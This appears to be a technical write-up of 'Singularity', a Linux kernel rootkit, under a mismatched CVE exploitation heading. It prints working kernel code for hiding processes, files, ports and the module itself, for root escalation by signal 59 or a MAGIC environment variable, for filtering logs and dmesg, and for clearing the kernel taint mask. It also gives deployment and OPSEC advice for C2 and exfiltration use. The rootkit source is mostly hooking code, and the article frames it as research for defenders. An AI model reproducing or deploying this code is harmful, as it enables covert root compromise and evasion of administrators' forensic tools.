CVE-2024-9324 Exploitation Chain
Step by step exploitation for the Code Injection vulnerability that I found.
“When you gaze into the abyss of kernel space, the abyss hooks back at you.”
Singularity is a Loadable Kernel Module (LKM) rootkit developed for Linux 6.x kernels that demonstrates advanced evasion and persistence techniques. This article shows its architecture, from the ftrace-based hooking infrastructure to the anti-forensics mechanisms, offering insights for both security researchers and defenders who need to detect and mitigate these threats.
Full Source Code: https://github.com/MatheuZSecurity/Singularity
Singularity uses the legitimate ftrace for hooking system calls, avoiding directly altering the System Call Table.
It resolves symbols in modern kernels via a temporary kprobe
in kallsyms_lookup_name
, installs an ftrace_ops
with SAVE_REGS
, RECURSION
, and IPMODIFY
, and filters only the target addresses with ftrace_set_filter_ip()
.
The big advantage of this is that it bypasses protections like CR0 WP.
However, if you use ftrace, it becomes a potential target for simple detections in some filesystem files, specifically in sysfs, for example, inspection of enabled_functions
and available_filter_functions
.
Interestingly, ftrace operates within kernel protections, not against them.
Of course, nothing is perfect. The biggest sign of ftrace hooks:
/sys/kernel/debug/tracing/enabled_functions
: Lists all functions with ftrace enabled.
Singularity filters reads from these files (discussed later), but a forensic analyst with direct memory access can still detect the ftrace_ops structures.
Hiding processes is one of the most important features of any rootkit. Singularity implements this in multiple layers.
In the center is a very simple array:
#define MAX_HIDDEN_PIDS 32
int hidden_pids[MAX_HIDDEN_PIDS];
int hidden_count = 0;
notrace void add_hidden_pid(int pid) {
int i;
for (i = 0; i < hidden_count; i++) {
if (hidden_pids[i] == pid)
return;
}
if (hidden_count < MAX_HIDDEN_PIDS) {
hidden_pids[hidden_count++] = pid;
}
}
Why so simple? Because it works. A 32-entry array with linear search is faster. No locks needed for reads. No dynamic memory allocation. It’s just a regular array.
The most interesting part, how does a process become hidden? By hooking syscall kill()
:
static notrace asmlinkage long hook_kill(const struct pt_regs *regs) {
int pid = (int)regs->di;
int signal = (int)regs->si;
if (signal == 59) {
SpawnRoot();
add_hidden_pid(pid);
return 0;
}
if (signal == 0 && should_hide_pid_by_int(pid)) {
return -ESRCH;
}
return orig_kill(regs);
}
Signal 59 was chosen because it is above the standard POSIX signals (1-31) and real-time signals (32-64), but still valid. When you run kill -59 <PID>
:
The target process notices nothing, no signals delivered, no apparent state change. Just silent and hidden privilege elevation.
Figure: Hiding and escalation flow through kill -59
Signal 0: The second condition handles kill -0 <PID>
, typically used to test if a process exists. For hidden PIDs, we return -ESRCH
(No such process). Even direct existence checks fail. This specific part is to avoid detection by tools like unhide and chkrootkit.
/proc
exposes processes as directories named by PID. To hide them, we filter these listings:
static notrace asmlinkage long hook_getdents64(const struct pt_regs *regs)
{
long res = orig_getdents64(regs);
if (res <= 0) return res;
return filter_dirents((void __user *)regs->si, res, true);
}
The real work happens in filter_dirents()
:
static notrace long filter_dirents(void __user *user_dir, long n, bool is_64)
{
char *kernel_buf, *filtered_buf;
long offset = 0, new_offset = 0, result = n;
if (n <= 0)
return n;
kernel_buf = kmalloc(n, GFP_KERNEL);
if (!kernel_buf)
return -ENOMEM;
if (copy_from_user(kernel_buf, user_dir, n)) {
kfree(kernel_buf);
return -EFAULT;
}
filtered_buf = kzalloc(n, GFP_KERNEL);
if (!filtered_buf) {
kfree(kernel_buf);
return -ENOMEM;
}
while (offset < result) {
char *curr_name;
unsigned short reclen;
void *curr_entry = kernel_buf + offset;
if (is_64) {
struct linux_dirent64 *d = (struct linux_dirent64 *)curr_entry;
curr_name = d->d_name;
reclen = d->d_reclen;
} else {
struct linux_dirent *d = (struct linux_dirent *)curr_entry;
curr_name = d->d_name;
reclen = d->d_reclen;
}
if (!should_hide_name(curr_name)) {
if (new_offset + reclen <= n) {
memcpy(filtered_buf + new_offset, curr_entry, reclen);
new_offset += reclen;
}
}
offset += reclen;
}
if (copy_to_user(user_dir, filtered_buf, new_offset)) {
kfree(kernel_buf);
kfree(filtered_buf);
return -EFAULT;
}
kfree(kernel_buf);
kfree(filtered_buf);
return new_offset;
}
Explanation:
Modification: We copy directory entries to kernel space, filter them, and copy them back. The userspace buffer is modified in-place, and the calling program sees a perfectly edited listing.
Variable-length records: getdents
returns variable-length dirent
structures. Each entry contains its own size in d_reclen
. We need to parse this carefully, or we’ll corrupt the buffer.
Return value adjustment: The subtlest detail: we return the new, smaller size. Programs like ls
use this value to know how many bytes to parse. By reducing it, we ensure they never see the removed entries.
Figure: Hiding process from /proc/
Filtering directories solves ls
, but what about direct calls like stat /proc/1337
?
static notrace asmlinkage long hooked_sys_stat(const struct pt_regs *regs) {
const char __user *pathname = (const char __user *)regs->di;
long ret;
if (should_hide_path(pathname))
return -ENOENT;
ret = real_sys_stat(regs);
if (ret != 0)
return ret;
#if defined(CONFIG_X86_64)
adjust_user_stat_nlink(pathname, (void __user *)regs->si, sizeof(struct stat), false);
#else
adjust_user_stat_nlink(pathname, (void __user *)regs->bx, sizeof(struct stat), false);
#endif
return ret;
}
should_hide_path()
checks hidden patterns and PIDs:
notrace bool should_hide_path(const char __user *pathname)
{
char buf[PATH_BUF_SIZE];
long copied;
int i;
if (!pathname)
return false;
memset(buf, 0, PATH_BUF_SIZE);
copied = strncpy_from_user(buf, pathname, PATH_BUF_SIZE - 1);
if (copied < 0)
return false;
buf[PATH_BUF_SIZE - 1] = '\0';
for (i = 0; hidden_patterns[i] != NULL; i++) {
if (strstr(buf, hidden_patterns[i]))
return true;
}
if (!strncmp(buf, "/proc/", 6)) {
const char *after = buf + 6;
char pid_buf[16] = {0};
int j = 0;
while (j < (int)sizeof(pid_buf) - 1 &&
after[j] &&
after[j] >= '0' && after[j] <= '9') {
pid_buf[j] = after[j];
j++;
}
pid_buf[j] = '\0';
if (j > 0 && is_hidden_pid(pid_buf)) {
return true;
}
}
return false;
}
Two types of verification:
/proc/1337/cmdline
, we extract “1337” and check our list of hidden PIDs.Figure: Preventing hidden processes, directories and files from being detected by stat
An interesting forensic artifact arises when hiding subdirectories: the parent directory’s link count (st_nlink
) becomes inconsistent.
Every subdirectory adds 2 to its parent’s link count (one for the directory itself, one for its .
entry). When we hide subdirectories, this count becomes incorrect.
static notrace void adjust_user_stat_nlink(const char __user *pathname_user,
void __user *user_stat,
size_t stat_size,
bool is_statx)
{
int hidden_cnt = count_hidden_subdirs(pathname_user);
if (hidden_cnt <= 0)
return;
if (is_statx) {
struct statx kstx;
if (copy_from_user(&kstx, user_stat, sizeof(kstx)))
return;
if (kstx.stx_nlink > (u64)hidden_cnt)
kstx.stx_nlink -= (u64)hidden_cnt;
else
kstx.stx_nlink = 1;
copy_to_user(user_stat, &kstx, sizeof(kstx));
return;
}
}
This seemingly minor detail prevents automated tools from detecting hidden entries by comparing expected vs. actual link counts.
Figure: Preventing inconsistency
Singularity hooks several process-related syscalls to maintain consistency:
static struct ftrace_hook hooks[] = {
HOOK("__x64_sys_kill", hook_kill, &orig_kill),
HOOK("__x64_sys_getpgid", hook_getpgid, &orig_getpgid),
HOOK("__x64_sys_getpgrp", hook_getpgrp, &orig_getpgrp),
HOOK("__x64_sys_getsid", hook_getsid, &orig_getsid),
HOOK("__x64_sys_sched_getaffinity", hook_sched_getaffinity, &orig_sched_getaffinity),
HOOK("__x64_sys_sched_getparam", hook_sched_getparam, &orig_sched_getparam),
HOOK("__x64_sys_sched_getscheduler", hook_sched_getscheduler, &orig_sched_getscheduler),
HOOK("__x64_sys_sched_rr_get_interval", hook_sched_rr_get_interval, &orig_sched_rr_get_interval),
HOOK("__x64_sys_sysinfo", hook_sysinfo, &orig_sysinfo),
};
Each returns -ESRCH
when queried for a hidden PID:
static notrace asmlinkage long hook_getsid(const struct pt_regs *regs)
{
int pid = (int)regs->di;
if (should_hide_pid_by_int(pid))
return -ESRCH;
return orig_getsid(regs);
}
sysinfo()
returns system statistics, including process count. We decrement to account for hidden processes:
static notrace asmlinkage long hook_sysinfo(const struct pt_regs *regs)
{
void __user *user_info = (void __user *)regs->di;
long ret = orig_sysinfo(regs);
if (ret != 0 || !user_info)
return ret;
struct sysinfo kinfo;
if (copy_from_user(&kinfo, user_info, sizeof(kinfo)) != 0)
return ret;
if (hidden_count > 0 && kinfo.procs > hidden_count)
kinfo.procs -= hidden_count;
copy_to_user(user_info, &kinfo, sizeof(kinfo));
return ret;
}
This ensures that top
, htop
, and other system monitors show consistent counts, preventing suspected discrepancies between listed processes and total counts.
In addition to hiding processes, Singularity hides files and directories through pattern-based filtering.
The system is driven by a simple array of strings:
static const char *hidden_patterns[] = {
"jira",
"singularity",
"obliviate",
"matheuz",
"zer0t",
NULL
};
Any file or directory containing these substrings is hidden from all filesystem operations.
Consideration: Users should modify these defaults before deployment. If detection signatures emerge targeting these specific strings, customization provides immediate evasion.
The same filter_dirents()
function that hides process PIDs also filters filesystem entries:
static notrace bool should_hide_name(const char *name)
{
int i;
if (!name)
return false;
for (i = 0; hidden_patterns[i] != NULL; i++) {
if (strstr(name, hidden_patterns[i]))
return true;
}
if (is_hidden_pid(name))
return true;
return false;
}
This unified approach means that ls
never sees hidden files, regardless of whether they are in /proc
, /tmp
, /dev/shm
, or anywhere else.
Figure: Hiding directory from ls
Filtering directory listings is not enough, we also need to prevent direct access attempts:
static notrace asmlinkage long hook_openat(const struct pt_regs *regs)
{
const char __user *pathname = (const char __user *)regs->si;
if (is_hidden_proc_path(pathname))
return -ENOENT;
return orig_openat(regs);
}
When a program tries to open a hidden path (e.g. cat /proc/1337/cmdline
for a hidden PID), we return -ENOENT
. From the program’s perspective, the file simply doesn’t exist.
Figure: Blocking direct access in hidden processes
Symlinks pose a special challenge. readlink()
resolves symlinks without opening them, potentially revealing hidden paths:
static notrace asmlinkage long hook_readlink(const struct pt_regs *regs) {
const char __user *pathname = (const char __user *)regs->di;
if (should_hide_path(pathname)) {
return -ENOENT;
}
return orig_readlink(regs);
}
This prevents commands like readlink /proc/1337/exe
from revealing information about hidden processes.
Figure: Prevent the disclosure of information about hidden processes
Simply hiding directory entries is not enough if someone knows the path:
$ ls /dev/shm/
# (singularity directory not shown)
$ cd /dev/shm/singularity
# Should this work?
To prevent this, we hook chdir()
:
static notrace asmlinkage long hook_chdir(const struct pt_regs *regs) {
const char __user *pathname = (const char __user *)regs->di;
if (should_hide_path(pathname)) {
return -ENOENT;
}
return orig_chdir(regs);
}
Now, even if someone knows the directory’s name, they can’t navigate to it. The system behaves as if it doesn’t exist.
The project’s README mentions using /dev/shm
:
To prevent any operations performed from being easily detected by forensic tools such as debugfs on /dev/sda3 (example) and this is certainly a problem for us… it is recommended to create hidden files and directories in /dev/shm. This directory is a partition mounted in RAM (tmpfs), meaning it does not use the disk file system.
Why This Matters:
debugfs
that examine ext4 structures cannot see tmpfs contents.Network stealth is critical for C2 operations, backdoors, and data exfiltration. Singularity implements multilayered network obfuscation by targeting specific ports.
The rootkit hides a port (8081) across multiple network monitoring interfaces:
#define PORT 8081
Note: This hardcoded value must be modified before deploying. Although it requires recompilation, it prevents signature-based detection by targeting the default port.
Linux exposes network connections through /proc/net/tcp
and /proc/net/tcp6
. These pseudo-files are dynamically generated by sequence file operations. Singularity hooks the show functions:
static notrace asmlinkage long hooked_tcp4_seq_show(struct seq_file *seq, void *v)
{
struct sock *sk = v;
if (sk == (void *)1)
return orig_tcp4_seq_show(seq, v);
int sport = ntohs(inet_sk(sk)->inet_sport);
int dport = ntohs(inet_sk(sk)->inet_dport);
if (sport == PORT || dport == PORT)
return 0;
return orig_tcp4_seq_show(seq, v);
}
*Details:
Pointer magic: v
is a pointer to the current socket structure. The kernel uses (void *)1
as the sentinel value for the header line, which we must pass on.
Port extraction: inet_sk(sk)
casts the generic socket to inet socket, giving us access to port numbers. inet_sport
/inet_dport
are in network byte order (big-endian), so ntohs()
converts.
Silent filtering: Instead of calling the original function for hidden ports, we simply return 0. This causes the sequence file to skip that entry entirely.
Bidirectional hiding: We check both source and destination ports because we want to hide the port regardless of whether it is listening or connecting.
The same logic applies to IPv6:
static notrace asmlinkage long hooked_tcp6_seq_show(struct seq_file *seq, void *v)
{
struct sock *sk = v;
if (sk == (void *)1)
return orig_tcp6_seq_show(seq, v);
int sport = ntohs(inet_sk(sk)->inet_sport);
int dport = ntohs(inet_sk(sk)->inet_dport);
if (sport == PORT || dport == PORT)
return 0;
return orig_tcp6_seq_show(seq, v);
}
This dual-stack approach ensures that the hidden port is invisible regardless of whether the connection uses IPv4 or IPv6.
Figura: Hiding Port from ss
, lsof
and netstat
.
Hiding from /proc/net/tcp
solves the problem for tools like netstat
and lsof
, but packet capture is a different challenge.
Tools like tcpdump
and Wireshark
use raw sockets to capture all network traffic. To hide from them, we need to operate at the packet reception layer:
static notrace int hooked_tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt, struct net_device *orig_dev)
{
struct iphdr *iph;
struct ipv6hdr *ip6h;
struct tcphdr *tcph;
if (!strncmp(dev->name, "lo", 2))
return NET_RX_DROP;
if (skb_linearize(skb))
goto out;
if (skb->protocol == htons(ETH_P_IP)) {
iph = ip_hdr(skb);
if (iph->protocol == IPPROTO_TCP) {
tcph = (void *)iph + iph->ihl * 4;
if (ntohs(tcph->dest) == PORT || ntohs(tcph->source) == PORT)
return NET_RX_DROP;
}
}
else if (skb->protocol == htons(ETH_P_IPV6)) {
ip6h = ipv6_hdr(skb);
if (ip6h->nexthdr == IPPROTO_TCP) {
tcph = (void *)ip6h + sizeof(*ip6h);
if (ntohs(tcph->dest) == PORT || ntohs(tcph->source) == PORT)
return NET_RX_DROP;
}
}
out:
return orig_tpacket_rcv(skb, dev, pt, orig_dev);
}
Deep Dive into Packet Filtering:
Hooking tpacket_rcv
: This function is the receive handler for AF_PACKET
sockets, which is what packet capture tools use. By hooking here, we intercept packets before they reach the capture applications.
Loopback Exception: The conditional if (!strncmp(dev->name, "lo", 2))
is counterintuitive, why drop loopback packets instead of filtering them? It’s a failsafe: loopback traffic often carries legitimate inter-process communication, and filtering it can break system functionality. By dropping the entire packet early, we avoid complex loopback filtering logic.
skb_linearize()
: Network packets can be fragmented into non-contiguous memory (a “scatter-gather” optimization). skb_linearize()
ensures that the entire packet is in contiguous memory, making header parsing safe and straightforward.
skb->protocol
)iph->protocol == IPPROTO_TCP
)iph->ihl * 4
bytes)NET_RX_DROP
: This tells the kernel to silently drop the packet. From the packet capture tool’s perspective, the packet simply never arrived on the network interface.The combined effect of these hooks:
Tool | Hidden By | Visibility |
---|---|---|
netstat |
Filtering /proc/net/tcp* |
Completely hidden |
ss |
Filtering /proc/net/tcp* |
Completely hidden |
lsof -i |
Filtering /proc/net/tcp* |
Completely hidden |
tcpdump |
Hook tpacket_rcv |
Uncaptured packets |
wireshark |
Hook tpacket_rcv |
Uncaptured packets |
Figure: Packet filtering flow in tpacket_rcv
Singularity provides two mechanisms for privilege escalation, both designed to be easily triggered.
As discussed previously, kill -59 <PID>
both hides a process and elevates it to root:
static notrace asmlinkage long hook_kill(const struct pt_regs *regs) {
int pid = (int)regs->di;
int signal = (int)regs->si;
if (signal == 59) {
SpawnRoot();
add_hidden_pid(pid);
return 0;
}
// ... other logic ...
}
static notrace void SpawnRoot(void) {
struct cred *newcredentials;
newcredentials = prepare_creds();
if (!newcredentials)
return;
newcredentials->uid.val = 0;
newcredentials->gid.val = 0;
newcredentials->suid.val = 0;
newcredentials->sgid.val = 0;
newcredentials->fsuid.val = 0;
newcredentials->fsgid.val = 0;
newcredentials->euid.val = 0;
newcredentials->egid.val = 0;
commit_creds(newcredentials);
}
Deep Dive into the Credential Structure:
Linux processes have multiple sets of credentials:
uid
, gid
): Identifies the actual user who started the processeuid
, egid
): Used for permission checkssuid
, sgid
): Saved set-user-ID for privileged programsfsuid
, fsgid
): Used for filesystem operations (usually equal to euid
/egid
)For full privilege escalation, we need to set all to 0 (root). Losing any of them can leave restrictions in place.
The prepare_creds()
/ commit_creds()
Pattern:
prepare_creds()
creates a copy of the current process’s credentials.commit_creds()
atomically swaps the credentials.The second escalation method is more subtle, it triggers automatically when a bash shell has a specific environment variable:
static notrace asmlinkage long hook_getuid(const struct pt_regs *regs) {
const char *name = current->comm;
struct mm_struct *mm;
char *envs;
int len, i;
if (strcmp(name, "bash") == 0) {
mm = current->mm;
if (mm && mm->env_start && mm->env_end) {
envs = kmalloc(PAGE_SIZE, GFP_ATOMIC);
if (envs) {
len = access_process_vm(current, mm->env_start, envs, PAGE_SIZE - 1, 0);
if (len > 0) {
for (i = 0; i < len - 1; i++) {
if (envs[i] == '\0')
envs[i] = ' ';
}
if (strstr(envs, "MAGIC=mtz")) {
rootmagic();
}
}
kfree(envs);
}
}
}
return orig_getuid(regs);
}
Why hook getuid()
?: This syscall is frequently called by shells and authentication-related programs. Hooking it gives us many opportunities to check for the magic environment variable without adding a dedicated polling thread.
Environment Variable Parsing:
Process Identification: Checks if the current process is bash by examining current->comm
.
Memory Descriptor Access: Each process has an mm_struct
that describes its memory layout. The env_start
and env_end
fields delimit the environment variable region.
Cross-Space Memory Access: access_process_vm()
allows kernel code to safely read from another process’s userspace memory. This is necessary because we are in the context of the syscall but need to read the target process’s environment.
Null Byte Normalization: Environment variables are stored as null-terminated strings: VAR1=value1\0VAR2=value2\0...
. To use strstr()
for searching, we replace null bytes with spaces, creating a single searchable string.
Magic Detection: If “MAGIC=mtz” appears anywhere in the environment, we elevate the process.
Usage:
$ whoami
user
$ MAGIC=mtz bash
$ whoami
root
The new bash process inherits the environment variable, triggers the hook on its first getuid()
call, and instantly becomes root. The original user-level bash process remains unprivileged.
Figure: Privilege escalation via MAGIC environment variable
OPSEC: This technique leaves audit logs showing the environment variable. In hardened environments with auditd
monitoring execve()
arguments and environment, this can be detected. The signal-based method is more stealthy.
Method | Stealth | Ease of Use | Audit Trail |
---|---|---|---|
kill -59 |
High | Medium (requires knowing target PID) | Minimal (only one failed kill) |
MAGIC=mtz bash |
Medium | High (only set env var) | High (env visible in audit logs) |
Both methods modify credentials in-place without creating setuid binaries or modifying sensitive files like /etc/passwd
or /etc/sudoers
, making them difficult to detect through traditional integrity monitoring.
Kernel modules leave traces in various logs and debug interfaces. Singularity implements comprehensive log filtering to remove evidence of their presence.
The rootkit hooks a read()
syscall to filter content from multiple log sources:
static notrace bool should_filter_file(const char *filename) {
if (!filename)
return false;
return (strcmp(filename, "kmsg") == 0 ||
strcmp(filename, "kallsyms") == 0 ||
strcmp(filename, "enabled_functions") == 0 ||
strcmp(filename, "control") == 0 ||
strcmp(filename, "debug") == 0 ||
strcmp(filename, "trace") == 0 ||
strcmp(filename, "stat") == 0 ||
strcmp(filename, "kern.log") == 0 ||
strcmp(filename, "kern.log.1") == 0 ||
strcmp(filename, "syslog") == 0 ||
strcmp(filename, "auth.log") == 0 ||
strcmp(filename, "auth.log.1") == 0 ||
strcmp(filename, "vmallocinfo") == 0 ||
strcmp(filename, "syslog.1") == 0 ||
strcmp(filename, "touched_functions") == 0);
}
Target Files Explained:
kmsg
: The kernel message buffer, read by dmesg
kallsyms
: Kernel symbol table (shows all function addresses)enabled_functions
: List of ftrace hooked functionstouched_functions
: Similar to enabled_functionstrace
: Ftrace output bufferkern.log
, syslog
, auth.log
: Userspace log files (rsyslog, journald)vmallocinfo
: Virtual memory allocations (may reveal module memory)static notrace asmlinkage ssize_t hook_read(const struct pt_regs *regs) {
if (!orig_read)
return -EINVAL;
int fd = regs->di;
char __user *user_buf = (char __user *)regs->si;
if (!user_buf)
return -EFAULT;
struct file *file = fget(fd);
if (!file)
return orig_read(regs);
const char *filename = NULL;
if (file->f_path.dentry)
filename = file->f_path.dentry->d_name.name;
if (!should_filter_file(filename)) {
fput(file);
return orig_read(regs);
}
bool is_kmsg = is_kmsg_device(filename);
fput(file);
if (is_kmsg) {
ssize_t result;
do {
result = orig_read(regs);
if (result <= 0)
return result;
result = filter_kmsg_line(user_buf, result);
} while (result == 0);
return result;
} else {
ssize_t bytes_read = orig_read(regs);
if (bytes_read <= 0)
return bytes_read;
return filter_buffer_content(user_buf, bytes_read);
}
}
Keys:
File descriptor to filename resolution: We use fget(fd)
to convert the file descriptor to struct file
, then extract the filename from the dentry. This is necessary because read()
only receives a file descriptor, not a path.
Exit: If the file is not in our filter list, we immediately call the original read()
and return. This minimizes performance impact on normal operations.
Differentiated handling: kmsg
is special because it returns one log line per read, while regular files return multiple lines. The loop structure handles the line-by-line nature of kmsg.
notrace static ssize_t filter_kmsg_line(char __user *user_buf, ssize_t bytes_read) {
if (bytes_read <= 0 || !user_buf)
return bytes_read;
char *kernel_buf = kmalloc(bytes_read + 1, GFP_KERNEL);
if (!kernel_buf)
return bytes_read;
if (copy_from_user(kernel_buf, user_buf, bytes_read)) {
kfree(kernel_buf);
return bytes_read;
}
kernel_buf[bytes_read] = '\0';
ssize_t ret = line_contains_sensitive_info(kernel_buf) ? 0 : bytes_read;
kfree(kernel_buf);
return ret;
}
Mechanism: Reading from /dev/kmsg
returns a full log line per read operation (with metadata). If the line contains sensitive information, we return 0, causing the caller to immediately call read()
again. The loop in hook_read()
continues until we encounter a non-sensitive line or the buffer is exhausted.
Note: Most LKM rootkits can be detected in /dev/kmsg
, which is why we’re filtering kmsg
so thoroughly. It’s a very powerful evasion feature, as it leaves no logs.
This approach is elegant because:
dmesg
) doesn’t see errorsFor regular log files that return multiple lines per read:
notrace static ssize_t filter_buffer_content(char __user *user_buf, ssize_t bytes_read) {
if (bytes_read <= 0 || !user_buf)
return bytes_read;
if (bytes_read > MAX_CAP)
bytes_read = MAX_CAP;
char *kernel_buf = kmalloc(bytes_read + 1, GFP_KERNEL);
if (!kernel_buf)
return -ENOMEM;
if (copy_from_user(kernel_buf, user_buf, bytes_read)) {
kfree(kernel_buf);
return -EFAULT;
}
kernel_buf[bytes_read] = '\0';
char *filtered_buf = kzalloc(bytes_read + 1, GFP_KERNEL);
if (!filtered_buf) {
kfree(kernel_buf);
return -ENOMEM;
}
size_t filtered_len = 0;
char *line_start = kernel_buf;
char *line_end;
while ((line_end = strchr(line_start, '\n'))) {
*line_end = '\0';
if (!line_contains_sensitive_info(line_start)) {
size_t line_len = strlen(line_start);
if (filtered_len + line_len + 1 <= bytes_read) {
memcpy(filtered_buf + filtered_len, line_start, line_len);
filtered_len += line_len;
filtered_buf[filtered_len++] = '\n';
}
}
line_start = line_end + 1;
}
if (*line_start && !line_contains_sensitive_info(line_start)) {
size_t line_len = strlen(line_start);
if (filtered_len + line_len <= bytes_read) {
memcpy(filtered_buf + filtered_len, line_start, line_len);
filtered_len += line_len;
}
}
if (copy_to_user(user_buf, filtered_buf, filtered_len)) {
kfree(kernel_buf);
kfree(filtered_buf);
return -EFAULT;
}
kfree(kernel_buf);
kfree(filtered_buf);
return filtered_len;
}
Keys:
strchr()
to find newlinesMemory Safety: The MAX_CAP
limit (64KB) prevents memory exhaustion from malicious or malformed reads. Size checks during copying prevent buffer overflows.
notrace static bool line_contains_sensitive_info(const char *line) {
if (!line)
return false;
return (strstr(line, "taint") != NULL ||
strstr(line, "journal") != NULL ||
strstr(line, "singularity") != NULL ||
strstr(line, "Singularity") != NULL ||
strstr(line, "matheuz") != NULL ||
strstr(line, "zer0t") != NULL ||
strstr(line, "jira") != NULL ||
strstr(line, "obliviate") != NULL);
}
This function uses simple substring matching. Keywords include:
Customization: These keywords should be modified before deployment. If the rootkit is renamed or different file patterns are used, this list should be updated accordingly.
An interesting additional hook targets the kernel scheduler’s debug interface:
static notrace int hook_sched_debug_show(struct seq_file *m, void *v) {
if (!orig_sched_debug_show || !m)
return -EINVAL;
size_t buf_size = 8192;
char *buf = kzalloc(buf_size, GFP_KERNEL);
if (!buf)
return orig_sched_debug_show(m, v);
struct seq_file tmp_seq = *m;
tmp_seq.buf = buf;
tmp_seq.size = buf_size;
tmp_seq.count = 0;
int ret = orig_sched_debug_show(&tmp_seq, v);
if (m->buf) {
char *line = buf;
char *line_ptr;
while ((line_ptr = strchr(line, '\n'))) {
*line_ptr = '\0';
if (!line_contains_sensitive_info(line))
seq_printf(m, "%s\n", line);
line = line_ptr + 1;
}
}
kfree(buf);
return ret;
}
The scheduler debug interface (/sys/kernel/debug/sched/debug
) displays detailed information about all running tasks, including hidden processes. This hook intercepts the seq_file show operation, redirects output to a temporary buffer, filters line-by-line, and outputs only clean lines to the real seq_file.
Seq_file Complexity: This is more complex than regular file filtering because seq_file uses an internal buffer management system. We can’t simply modify the buffer, we must create a temporary seq_file, let the original function populate it, filter the contents, and then output to the real seq_file.
Figure: Hiding from scheduler
One of the most critical aspects of rootkit operation is hiding the rootkit module itself. Singularity implements module hiding at multiple levels of the kernel module subsystem.
Loadable kernel modules are managed through several interconnected data structures:
Hiding a module requires manipulating all of these structures to make the module “disappear” from the kernel’s introspection interfaces.
struct module_hider_state {
struct list_head *saved_list_pos;
struct kobject *saved_parent;
bool hidden;
};
static struct module_hider_state hider_state = {0};
We maintain state to track whether the module is hidden and save information needed for potential unhiding (although Singularity intentionally does not provide unhide functionality, so once loaded, it will not be possible to remove it with rmmod
, only reboot the machine).
static void __remove_from_sysfs(struct module *mod)
{
struct kobject *kobj = &mod->mkobj.kobj;
if (kobj && kobj->parent) {
kobject_del(kobj);
kobj->parent = NULL;
kobj->kset = NULL;
if (mod->holders_dir) {
kobject_put(mod->holders_dir);
mod->holders_dir = NULL;
}
}
}
Kobject: Linux uses kobjects to represent kernel objects in sysfs. Each module has a kobject that creates its /sys/module/<name>/
directory.
What we’re doing:
kobject_del()
: Removes the kobject from the sysfs hierarchy, deleting the directory.kobj->parent = NULL
: Clears the parent reference, severing the connection.kobj->kset = NULL
: Removes the kset (a collection of related kobjects) from the module.holders_dir
: Modules can have “holders” (other modules depending on them). This directory should also be removed.After this operation, /sys/module/singularity/
no longer exists, preventing custom tools and scripts from enumerating the module through sysfs.
static void __remove_from_module_list(struct module *mod)
{
if (!list_empty(&mod->list)) {
list_del_init(&mod->list);
mod->list.prev = (struct list_head *)0x37373731;
mod->list.next = (struct list_head *)0x22373717;
}
}
List Removal:
list_del_init()
: Removes the module from the doubly linked list of modules and reinitializes the list head (sets prev/next to point to itself).
Poison Values: The hex values 0x37373731
and 0x22373717
are “poison” values,invalid pointers that would cause immediate crashes if dereferenced. This serves two purposes:
After this operation, iterating through the module list (as lsmod
does) will completely skip over our module.
static void __sanitize_module_info(struct module *mod)
{
mod->state = MODULE_STATE_UNFORMED;
mod->sect_attrs = NULL;
}
Module States:
MODULE_STATE_LIVE
: Fully loaded and operationalMODULE_STATE_COMING
: Currently being loadedMODULE_STATE_GOING
: Being unloadedMODULE_STATE_UNFORMED
: Not yet fully builtBy setting the state to UNFORMED
, we make the module appear as if it never completed initialization. Some introspection tools may skip modules in this state.
Removing sect_attrs
: This field points to section attributes (memory layout information). Removing it prevents detailed memory inspection through sysfs attributes.
notrace void module_hide_current(void)
{
struct module *mod = THIS_MODULE;
if (hider_state.hidden)
return;
hider_state.saved_list_pos = mod->list.prev;
hider_state.saved_parent = mod->mkobj.kobj.parent;
__remove_from_sysfs(mod);
__remove_from_module_list(mod);
__sanitize_module_info(mod);
hider_state.hidden = true;
}
THIS_MODULE
is a macro that expands to a pointer to the current module’s struct module
. This magic variable is automatically set for all kernel modules.
The hiding process:
The Linux kernel maintains “taint flags” to track potentially problematic conditions. Loading an out-of-tree kernel module sets taint flags, which appear in logs and can alert administrators to unauthorized kernel modifications.
When you load a module, you can see:
[ 123.456789] loading out-of-tree module taints kernel.
[ 123.456790] module singularity: module verification failed: signature and/or required key missing - tainting kernel
These warnings set bits in a global variable tainted_mask
. Tools can check for this:
# cat /proc/sys/kernel/tainted
1337
Each bit represents a different taint ratio:
Singularity tries to clear these flags to avoid detection:
#define RESET_THREAD_NAME "zer0t"
static struct task_struct *cleaner_thread = NULL;
static unsigned long *taint_mask_ptr = NULL;
static struct kprobe probe_lookup = {
.symbol_name = "kallsyms_lookup_name"
};
static notrace unsigned long *get_taint_mask_address(void) {
typedef unsigned long (*lookup_name_fn)(const char *name);
lookup_name_fn kallsyms_lookup_fn;
unsigned long *taint_addr = NULL;
if (register_kprobe(&probe_lookup) < 0)
return NULL;
kallsyms_lookup_fn = (lookup_name_fn) probe_lookup.addr;
unregister_kprobe(&probe_lookup);
if (kallsyms_lookup_fn)
taint_addr = (unsigned long *)kallsyms_lookup_fn("tainted_mask");
return taint_addr;
}
This is the same kprobe technique used in ftrace_helper.c, we temporarily register a kprobe on kallsyms_lookup_name
, extract its address, and use it to resolve tainted_mask
.
static notrace void reset_taint_mask(void) {
if (taint_mask_ptr && *taint_mask_ptr != 0)
*taint_mask_ptr = 0;
}
static notrace int zt_thread(void *data) {
reset_taint_mask();
return 0;
}
Resetting is straightforward; we simply write 0 to the tainted_mask variable. The thread function returns immediately after resetting, making it a one-shot operation.
notrace int reset_tainted_init(void) {
taint_mask_ptr = get_taint_mask_address();
if (!taint_mask_ptr)
return -EFAULT;
cleaner_thread = kthread_run(zt_thread, NULL, RESET_THREAD_NAME);
if (IS_ERR(cleaner_thread))
return PTR_ERR(cleaner_thread);
add_hidden_pid(cleaner_thread->pid);
return 0;
}
Why use a thread?
Timing: The thread runs briefly after module initialization, ensuring that all taint flags are set before clearing them.
Context: Kernel threads run in process context, which is safer for many operations than module initialization context.
Hiding: We add the thread’s PID to the hidden PID list, making the “zer0t” thread invisible to process enumeration.
Housekeeping: The thread provides a convenient hidden control mechanism that the operator can use for additional housekeeping tasks if needed.
The zer0t
thread is added to the hidden PID list immediately upon creation, ensuring that even if an administrator runs ps
or top
during the brief window when the thread exists, it will not be visible.
That is, as soon as singularity is loaded, it resets tainted, without necessarily having a kernel thread resetting every 5 seconds, this is good because it avoids behavior-based detection, if you write to /proc/sys/kernel/tainted
and it still remains as 0, it would raise a lot of suspicion.
Figure: Hiding from tainted and dmesg
